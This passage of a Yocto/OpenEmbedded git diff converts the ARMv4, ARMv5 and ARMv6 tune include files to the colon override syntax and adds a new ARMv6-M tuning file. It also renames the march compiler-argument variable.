@@ -10,25 +10,25 @@ FIX_V4BX_ARMV4 = "${@bb.utils.contains('TUNE_FEATURES', 'armv4', '--fix-v4bx', '
FIX_V4BX_ARMV5 = "${@bb.utils.contains('TUNE_FEATURES', 'armv5', '', '${FIX_V4BX_ARMV4}', d)}"
FIX_V4BX = "${@bb.utils.contains('TUNE_FEATURES', 'thumb', '', '${FIX_V4BX_ARMV5}', d)}"
TARGET_LD_KERNEL_ARCH += "${FIX_V4BX}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv4', 'armv4:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv4', 'armv4:', '', d)}"
require conf/machine/include/arm/arch-arm.inc
require conf/machine/include/arm/feature-arm-thumb.inc
# Little Endian
AVAILTUNES += "armv4 armv4t"
-ARMPKGARCH_tune-armv4 ?= "armv4"
-ARMPKGARCH_tune-armv4t ?= "armv4"
-TUNE_FEATURES_tune-armv4 = "arm armv4"
-TUNE_FEATURES_tune-armv4t = "${TUNE_FEATURES_tune-armv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-armv4 = "arm armv4"
-PACKAGE_EXTRA_ARCHS_tune-armv4t = "${PACKAGE_EXTRA_ARCHS_tune-armv4} armv4t"
+ARMPKGARCH:tune-armv4 ?= "armv4"
+ARMPKGARCH:tune-armv4t ?= "armv4"
+TUNE_FEATURES:tune-armv4 = "arm armv4"
+TUNE_FEATURES:tune-armv4t = "${TUNE_FEATURES:tune-armv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-armv4 = "arm armv4"
+PACKAGE_EXTRA_ARCHS:tune-armv4t = "${PACKAGE_EXTRA_ARCHS:tune-armv4} armv4t"
# Big Endian
AVAILTUNES += "armv4b armv4tb"
-ARMPKGARCH_tune-armv4b ?= "armv4"
-ARMPKGARCH_tune-armv4tb ?= "armv4"
-TUNE_FEATURES_tune-armv4b = "${TUNE_FEATURES_tune-armv4} bigendian"
-TUNE_FEATURES_tune-armv4tb = "${TUNE_FEATURES_tune-armv4t} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv4b = "armeb armv4b"
-PACKAGE_EXTRA_ARCHS_tune-armv4tb = "${PACKAGE_EXTRA_ARCHS_tune-armv4b} armv4tb"
+ARMPKGARCH:tune-armv4b ?= "armv4"
+ARMPKGARCH:tune-armv4tb ?= "armv4"
+TUNE_FEATURES:tune-armv4b = "${TUNE_FEATURES:tune-armv4} bigendian"
+TUNE_FEATURES:tune-armv4tb = "${TUNE_FEATURES:tune-armv4t} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv4b = "armeb armv4b"
+PACKAGE_EXTRA_ARCHS:tune-armv4tb = "${PACKAGE_EXTRA_ARCHS:tune-armv4b} armv4tb"
diff --git a/meta/conf/machine/include/arm/arch-armv5-dsp.inc b/meta/conf/machine/include/arm/arch-armv5-dsp.inc
index d117af1520..f3c749d722 100644
--- a/meta/conf/machine/include/arm/arch-armv5-dsp.inc
+++ b/meta/conf/machine/include/arm/arch-armv5-dsp.inc
@@ -1,3 +1,4 @@
+# Can't use feature-arm-dsp.inc, since that will add "+dsp", which isn't supported in GCC for ARMv5
ARMPKGSFX_DSP = "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], 'e', '', d)}"
TUNEVALID[dsp] = "ARM DSP functionality"
@@ -5,48 +6,48 @@ require conf/machine/include/arm/arch-armv5.inc
# Little Endian
AVAILTUNES += "armv5e armv5te"
-ARMPKGARCH_tune-armv5e ?= "armv5"
-ARMPKGARCH_tune-armv5te ?= "armv5"
-TUNE_FEATURES_tune-armv5e = "${TUNE_FEATURES_tune-armv5} dsp"
-TUNE_FEATURES_tune-armv5te = "${TUNE_FEATURES_tune-armv5t} dsp"
-PACKAGE_EXTRA_ARCHS_tune-armv5e = "${PACKAGE_EXTRA_ARCHS_tune-armv5} armv5e"
-PACKAGE_EXTRA_ARCHS_tune-armv5te = "${PACKAGE_EXTRA_ARCHS_tune-armv5t} armv5e armv5te"
+ARMPKGARCH:tune-armv5e ?= "armv5"
+ARMPKGARCH:tune-armv5te ?= "armv5"
+TUNE_FEATURES:tune-armv5e = "${TUNE_FEATURES:tune-armv5} dsp"
+TUNE_FEATURES:tune-armv5te = "${TUNE_FEATURES:tune-armv5t} dsp"
+PACKAGE_EXTRA_ARCHS:tune-armv5e = "${PACKAGE_EXTRA_ARCHS:tune-armv5} armv5e"
+PACKAGE_EXTRA_ARCHS:tune-armv5te = "${PACKAGE_EXTRA_ARCHS:tune-armv5t} armv5e armv5te"
# Little Endian + VFP/DSP
AVAILTUNES += "armv5e-vfp armv5te-vfp armv5ehf-vfp armv5tehf-vfp"
-ARMPKGARCH_tune-armv5e-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5te-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5ehf-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tehf-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5e-vfp = "${TUNE_FEATURES_tune-armv5e} vfp"
-TUNE_FEATURES_tune-armv5te-vfp = "${TUNE_FEATURES_tune-armv5te} vfp"
-TUNE_FEATURES_tune-armv5ehf-vfp = "${TUNE_FEATURES_tune-armv5e-vfp} callconvention-hard"
-TUNE_FEATURES_tune-armv5tehf-vfp = "${TUNE_FEATURES_tune-armv5te-vfp} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv5e-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5-vfp} armv5e armv5e-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5te-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5t-vfp} armv5e armv5te armv5e-vfp armv5te-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5ehf-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5hf-vfp} armv5ehf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tehf-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5thf-vfp} armv5ehf-vfp armv5tehf-vfp"
+ARMPKGARCH:tune-armv5e-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5te-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5ehf-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tehf-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5e-vfp = "${TUNE_FEATURES:tune-armv5e} vfp"
+TUNE_FEATURES:tune-armv5te-vfp = "${TUNE_FEATURES:tune-armv5te} vfp"
+TUNE_FEATURES:tune-armv5ehf-vfp = "${TUNE_FEATURES:tune-armv5e-vfp} callconvention-hard"
+TUNE_FEATURES:tune-armv5tehf-vfp = "${TUNE_FEATURES:tune-armv5te-vfp} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv5e-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5-vfp} armv5e armv5e-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5te-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5t-vfp} armv5e armv5te armv5e-vfp armv5te-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5ehf-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5hf-vfp} armv5ehf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tehf-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5thf-vfp} armv5ehf-vfp armv5tehf-vfp"
# Big Endian
AVAILTUNES += "armv5eb armv5teb"
-ARMPKGARCH_tune-armv5eb ?= "armv5"
-ARMPKGARCH_tune-armv5teb ?= "armv5"
-TUNE_FEATURES_tune-armv5eb = "${TUNE_FEATURES_tune-armv5e} bigendian"
-TUNE_FEATURES_tune-armv5teb = "${TUNE_FEATURES_tune-armv5te} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5eb = "${PACKAGE_EXTRA_ARCHS_tune-armv5b} armv5eb"
-PACKAGE_EXTRA_ARCHS_tune-armv5teb = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb} armv5eb armv5teb"
+ARMPKGARCH:tune-armv5eb ?= "armv5"
+ARMPKGARCH:tune-armv5teb ?= "armv5"
+TUNE_FEATURES:tune-armv5eb = "${TUNE_FEATURES:tune-armv5e} bigendian"
+TUNE_FEATURES:tune-armv5teb = "${TUNE_FEATURES:tune-armv5te} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5eb = "${PACKAGE_EXTRA_ARCHS:tune-armv5b} armv5eb"
+PACKAGE_EXTRA_ARCHS:tune-armv5teb = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb} armv5eb armv5teb"
# Big Endian + VFP/DSP
AVAILTUNES += "armv5eb-vfp armv5teb-vfp armv5ehfb-vfp armv5tehfb-vfp"
-ARMPKGARCH_tune-armv5eb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5teb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5ehfb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tehfb-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5eb-vfp = "${TUNE_FEATURES_tune-armv5e-vfp} bigendian"
-TUNE_FEATURES_tune-armv5teb-vfp = "${TUNE_FEATURES_tune-armv5te-vfp} bigendian"
-TUNE_FEATURES_tune-armv5ehfb-vfp = "${TUNE_FEATURES_tune-armv5ehf-vfp} bigendian"
-TUNE_FEATURES_tune-armv5tehfb-vfp = "${TUNE_FEATURES_tune-armv5tehf-vfp} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5eb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5b-vfp} armv5eb armv5eb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5teb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb-vfp} armv5eb armv5teb armv5eb-vfp armv5teb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5ehfb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5hfb-vfp} armv5ehfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tehfb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5thfb-vfp} armv5ehfb-vfp armv5tehfb-vfp"
+ARMPKGARCH:tune-armv5eb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5teb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5ehfb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tehfb-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5eb-vfp = "${TUNE_FEATURES:tune-armv5e-vfp} bigendian"
+TUNE_FEATURES:tune-armv5teb-vfp = "${TUNE_FEATURES:tune-armv5te-vfp} bigendian"
+TUNE_FEATURES:tune-armv5ehfb-vfp = "${TUNE_FEATURES:tune-armv5ehf-vfp} bigendian"
+TUNE_FEATURES:tune-armv5tehfb-vfp = "${TUNE_FEATURES:tune-armv5tehf-vfp} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5eb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5b-vfp} armv5eb armv5eb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5teb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb-vfp} armv5eb armv5teb armv5eb-vfp armv5teb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5ehfb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5hfb-vfp} armv5ehfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tehfb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5thfb-vfp} armv5ehfb-vfp armv5tehfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv5.inc b/meta/conf/machine/include/arm/arch-armv5.inc
index f9068af9de..6bb465e7b6 100644
--- a/meta/conf/machine/include/arm/arch-armv5.inc
+++ b/meta/conf/machine/include/arm/arch-armv5.inc
@@ -2,56 +2,56 @@ DEFAULTTUNE ?= "armv5"
TUNEVALID[armv5] = "Enable instructions for ARMv5"
TUNECONFLICTS[armv5] = "armv4"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv5', ' -march=armv5t${ARMPKGSFX_DSP}', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv5', 'armv5:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv5', ' -march=armv5t${ARMPKGSFX_DSP}', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv5', 'armv5:', '', d)}"
require conf/machine/include/arm/arch-armv4.inc
require conf/machine/include/arm/feature-arm-vfp.inc
# Little Endian
AVAILTUNES += "armv5 armv5t"
-ARMPKGARCH_tune-armv5 ?= "armv5"
-ARMPKGARCH_tune-armv5t ?= "armv5"
-TUNE_FEATURES_tune-armv5 = "arm armv5"
-TUNE_FEATURES_tune-armv5t = "${TUNE_FEATURES_tune-armv5} thumb"
-PACKAGE_EXTRA_ARCHS_tune-armv5 = "${PACKAGE_EXTRA_ARCHS_tune-armv4} armv5"
-PACKAGE_EXTRA_ARCHS_tune-armv5t = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} armv5 armv5t"
+ARMPKGARCH:tune-armv5 ?= "armv5"
+ARMPKGARCH:tune-armv5t ?= "armv5"
+TUNE_FEATURES:tune-armv5 = "arm armv5"
+TUNE_FEATURES:tune-armv5t = "${TUNE_FEATURES:tune-armv5} thumb"
+PACKAGE_EXTRA_ARCHS:tune-armv5 = "${PACKAGE_EXTRA_ARCHS:tune-armv4} armv5"
+PACKAGE_EXTRA_ARCHS:tune-armv5t = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} armv5 armv5t"
# Little Endian + VFP/DSP
AVAILTUNES += "armv5-vfp armv5t-vfp armv5hf-vfp armv5thf-vfp"
-ARMPKGARCH_tune-armv5-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5t-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5hf-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5thf-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5-vfp = "${TUNE_FEATURES_tune-armv5} vfp"
-TUNE_FEATURES_tune-armv5t-vfp = "${TUNE_FEATURES_tune-armv5t} vfp"
-TUNE_FEATURES_tune-armv5hf-vfp = "${TUNE_FEATURES_tune-armv5-vfp} callconvention-hard"
-TUNE_FEATURES_tune-armv5thf-vfp = "${TUNE_FEATURES_tune-armv5t-vfp} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv5-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5} armv5-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5t-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5t} armv5-vfp armv5t-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5hf-vfp = "armv5hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5thf-vfp = "armv5hf-vfp armv5thf-vfp"
+ARMPKGARCH:tune-armv5-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5t-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5hf-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5thf-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5-vfp = "${TUNE_FEATURES:tune-armv5} vfp"
+TUNE_FEATURES:tune-armv5t-vfp = "${TUNE_FEATURES:tune-armv5t} vfp"
+TUNE_FEATURES:tune-armv5hf-vfp = "${TUNE_FEATURES:tune-armv5-vfp} callconvention-hard"
+TUNE_FEATURES:tune-armv5thf-vfp = "${TUNE_FEATURES:tune-armv5t-vfp} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv5-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5} armv5-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5t-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5t} armv5-vfp armv5t-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5hf-vfp = "armv5hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5thf-vfp = "armv5hf-vfp armv5thf-vfp"
# Big Endian
AVAILTUNES += "armv5b armv5tb"
-ARMPKGARCH_tune-armv5b ?= "armv5"
-ARMPKGARCH_tune-armv5tb ?= "armv5"
-TUNE_FEATURES_tune-armv5b = "${TUNE_FEATURES_tune-armv5} bigendian"
-TUNE_FEATURES_tune-armv5tb = "${TUNE_FEATURES_tune-armv5t} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5b = "${PACKAGE_EXTRA_ARCHS_tune-armv4b} armv5b"
-PACKAGE_EXTRA_ARCHS_tune-armv5tb = "${PACKAGE_EXTRA_ARCHS_tune-armv4tb} armv5b armv5tb"
+ARMPKGARCH:tune-armv5b ?= "armv5"
+ARMPKGARCH:tune-armv5tb ?= "armv5"
+TUNE_FEATURES:tune-armv5b = "${TUNE_FEATURES:tune-armv5} bigendian"
+TUNE_FEATURES:tune-armv5tb = "${TUNE_FEATURES:tune-armv5t} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5b = "${PACKAGE_EXTRA_ARCHS:tune-armv4b} armv5b"
+PACKAGE_EXTRA_ARCHS:tune-armv5tb = "${PACKAGE_EXTRA_ARCHS:tune-armv4tb} armv5b armv5tb"
# Big Endian + VFP/DSP
AVAILTUNES += "armv5b-vfp armv5tb-vfp armv5hfb-vfp armv5thfb-vfp"
-ARMPKGARCH_tune-armv5b-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5hfb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5thfb-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5b-vfp = "${TUNE_FEATURES_tune-armv5-vfp} bigendian"
-TUNE_FEATURES_tune-armv5tb-vfp = "${TUNE_FEATURES_tune-armv5t-vfp} bigendian"
-TUNE_FEATURES_tune-armv5hfb-vfp = "${TUNE_FEATURES_tune-armv5hf-vfp} bigendian"
-TUNE_FEATURES_tune-armv5thfb-vfp = "${TUNE_FEATURES_tune-armv5thf-vfp} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5b-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5b} armv5b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb} armv5b-vfp armv5tb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5hfb-vfp = "armv5hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5thfb-vfp = "armv5hfb-vfp armv5thfb-vfp"
+ARMPKGARCH:tune-armv5b-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5hfb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5thfb-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5b-vfp = "${TUNE_FEATURES:tune-armv5-vfp} bigendian"
+TUNE_FEATURES:tune-armv5tb-vfp = "${TUNE_FEATURES:tune-armv5t-vfp} bigendian"
+TUNE_FEATURES:tune-armv5hfb-vfp = "${TUNE_FEATURES:tune-armv5hf-vfp} bigendian"
+TUNE_FEATURES:tune-armv5thfb-vfp = "${TUNE_FEATURES:tune-armv5thf-vfp} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5b-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5b} armv5b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb} armv5b-vfp armv5tb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5hfb-vfp = "armv5hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5thfb-vfp = "armv5hfb-vfp armv5thfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv6.inc b/meta/conf/machine/include/arm/arch-armv6.inc
index 6c838e999c..ef8d288ea7 100644
--- a/meta/conf/machine/include/arm/arch-armv6.inc
+++ b/meta/conf/machine/include/arm/arch-armv6.inc
@@ -2,49 +2,49 @@ DEFAULTTUNE ?= "armv6hf"
TUNEVALID[armv6] = "Enable instructions for ARMv6"
TUNECONFLICTS[armv6] = "armv4 armv5"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6', ' -march=armv6', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6', 'armv6:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6', ' -march=armv6', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6', 'armv6:', '', d)}"
require conf/machine/include/arm/arch-armv5-dsp.inc
# Little Endian
AVAILTUNES += "armv6-novfp armv6t-novfp armv6 armv6t armv6hf armv6thf"
-ARMPKGARCH_tune-armv6-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6t-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6 ?= "armv6"
-ARMPKGARCH_tune-armv6t ?= "armv6"
-ARMPKGARCH_tune-armv6hf ?= "armv6"
-ARMPKGARCH_tune-armv6thf ?= "armv6"
-TUNE_FEATURES_tune-armv6-novfp = "arm armv6"
-TUNE_FEATURES_tune-armv6t-novfp = "${TUNE_FEATURES_tune-armv6-novfp} thumb"
-TUNE_FEATURES_tune-armv6 = "${TUNE_FEATURES_tune-armv6-novfp} vfp"
-TUNE_FEATURES_tune-armv6t = "${TUNE_FEATURES_tune-armv6t-novfp} vfp"
-TUNE_FEATURES_tune-armv6hf = "${TUNE_FEATURES_tune-armv6} callconvention-hard"
-TUNE_FEATURES_tune-armv6thf = "${TUNE_FEATURES_tune-armv6t} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv6-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5e} armv6"
-PACKAGE_EXTRA_ARCHS_tune-armv6t-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} armv6 armv6t"
-PACKAGE_EXTRA_ARCHS_tune-armv6 = "${PACKAGE_EXTRA_ARCHS_tune-armv5e-vfp} armv6 armv6-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6t = "${PACKAGE_EXTRA_ARCHS_tune-armv5te-vfp} armv6 armv6t armv6-vfp armv6t-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6hf = "${PACKAGE_EXTRA_ARCHS_tune-armv5ehf-vfp} armv6hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6thf = "${PACKAGE_EXTRA_ARCHS_tune-armv5tehf-vfp} armv6hf-vfp armv6thf-vfp"
+ARMPKGARCH:tune-armv6-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6t-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6 ?= "armv6"
+ARMPKGARCH:tune-armv6t ?= "armv6"
+ARMPKGARCH:tune-armv6hf ?= "armv6"
+ARMPKGARCH:tune-armv6thf ?= "armv6"
+TUNE_FEATURES:tune-armv6-novfp = "arm armv6"
+TUNE_FEATURES:tune-armv6t-novfp = "${TUNE_FEATURES:tune-armv6-novfp} thumb"
+TUNE_FEATURES:tune-armv6 = "${TUNE_FEATURES:tune-armv6-novfp} vfp"
+TUNE_FEATURES:tune-armv6t = "${TUNE_FEATURES:tune-armv6t-novfp} vfp"
+TUNE_FEATURES:tune-armv6hf = "${TUNE_FEATURES:tune-armv6} callconvention-hard"
+TUNE_FEATURES:tune-armv6thf = "${TUNE_FEATURES:tune-armv6t} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv6-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5e} armv6"
+PACKAGE_EXTRA_ARCHS:tune-armv6t-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} armv6 armv6t"
+PACKAGE_EXTRA_ARCHS:tune-armv6 = "${PACKAGE_EXTRA_ARCHS:tune-armv5e-vfp} armv6 armv6-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6t = "${PACKAGE_EXTRA_ARCHS:tune-armv5te-vfp} armv6 armv6t armv6-vfp armv6t-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6hf = "${PACKAGE_EXTRA_ARCHS:tune-armv5ehf-vfp} armv6hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6thf = "${PACKAGE_EXTRA_ARCHS:tune-armv5tehf-vfp} armv6hf-vfp armv6thf-vfp"
# Big Endian
AVAILTUNES += "armv6b-novfp armv6tb-novfp armv6b armv6tb armv6hfb armv6thfb"
-ARMPKGARCH_tune-armv6b-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6tb-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6b ?= "armv6"
-ARMPKGARCH_tune-armv6tb ?= "armv6"
-ARMPKGARCH_tune-armv6hfb ?= "armv6"
-ARMPKGARCH_tune-armv6thfb ?= "armv6"
-TUNE_FEATURES_tune-armv6b-novfp = "${TUNE_FEATURES_tune-armv6-novfp} bigendian"
-TUNE_FEATURES_tune-armv6tb-novfp = "${TUNE_FEATURES_tune-armv6t-novfp} bigendian"
-TUNE_FEATURES_tune-armv6b = "${TUNE_FEATURES_tune-armv6} bigendian"
-TUNE_FEATURES_tune-armv6tb = "${TUNE_FEATURES_tune-armv6t} bigendian"
-TUNE_FEATURES_tune-armv6hfb = "${TUNE_FEATURES_tune-armv6hf} bigendian"
-TUNE_FEATURES_tune-armv6thfb = "${TUNE_FEATURES_tune-armv6thf} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv6b-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5eb} armv6b"
-PACKAGE_EXTRA_ARCHS_tune-armv6tb-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb} armv6b armv6tb"
-PACKAGE_EXTRA_ARCHS_tune-armv6b = "${PACKAGE_EXTRA_ARCHS_tune-armv5eb-vfp} armv6b armv6b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6tb = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb-vfp} armv6b armv6tb armv6b-vfp armv6tb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6hfb = "${PACKAGE_EXTRA_ARCHS_tune-armv5ehfb-vfp} armv6hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6thfb = "${PACKAGE_EXTRA_ARCHS_tune-armv5tehfb-vfp} armv6hfb-vfp armv6thfb-vfp"
+ARMPKGARCH:tune-armv6b-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6tb-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6b ?= "armv6"
+ARMPKGARCH:tune-armv6tb ?= "armv6"
+ARMPKGARCH:tune-armv6hfb ?= "armv6"
+ARMPKGARCH:tune-armv6thfb ?= "armv6"
+TUNE_FEATURES:tune-armv6b-novfp = "${TUNE_FEATURES:tune-armv6-novfp} bigendian"
+TUNE_FEATURES:tune-armv6tb-novfp = "${TUNE_FEATURES:tune-armv6t-novfp} bigendian"
+TUNE_FEATURES:tune-armv6b = "${TUNE_FEATURES:tune-armv6} bigendian"
+TUNE_FEATURES:tune-armv6tb = "${TUNE_FEATURES:tune-armv6t} bigendian"
+TUNE_FEATURES:tune-armv6hfb = "${TUNE_FEATURES:tune-armv6hf} bigendian"
+TUNE_FEATURES:tune-armv6thfb = "${TUNE_FEATURES:tune-armv6thf} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv6b-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5eb} armv6b"
+PACKAGE_EXTRA_ARCHS:tune-armv6tb-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb} armv6b armv6tb"
+PACKAGE_EXTRA_ARCHS:tune-armv6b = "${PACKAGE_EXTRA_ARCHS:tune-armv5eb-vfp} armv6b armv6b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6tb = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb-vfp} armv6b armv6tb armv6b-vfp armv6tb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6hfb = "${PACKAGE_EXTRA_ARCHS:tune-armv5ehfb-vfp} armv6hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv6thfb = "${PACKAGE_EXTRA_ARCHS:tune-armv5tehfb-vfp} armv6hfb-vfp armv6thfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv6m.inc b/meta/conf/machine/include/arm/arch-armv6m.inc
new file mode 100644
index 0000000000..d6d6c7ed2d
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv6m.inc
@@ -0,0 +1,19 @@
+# Tuning for ARMV6-m defined in ARM v6-M ArchitectureReference Manual
+# at https://static.docs.arm.com/ddi0419/d/DDI0419D_armv6m_arm.pdf
+DEFAULTTUNE ?= "armv6m"
+
+TUNEVALID[armv6m] = "Enable instructions for ARMv6-m"
+TUNECONFLICTS[armv6m] = "armv4 armv5 armv6 armv7a"
+
+# Use armv6s-m instead of armv6-m to avoid gcc bug "SVC is not permitted on this architecture".
+# SVC is a valid instruction.
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6m', ' -march=armv6s-m', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6m', 'armv6m:', '', d)}"
+
+require conf/machine/include/arm/arch-armv5.inc
+
+# Little Endian
+AVAILTUNES += "armv6m"
+ARMPKGARCH:tune-armv6m = "armv6m"
+TUNE_FEATURES:tune-armv6m = "armv6m"
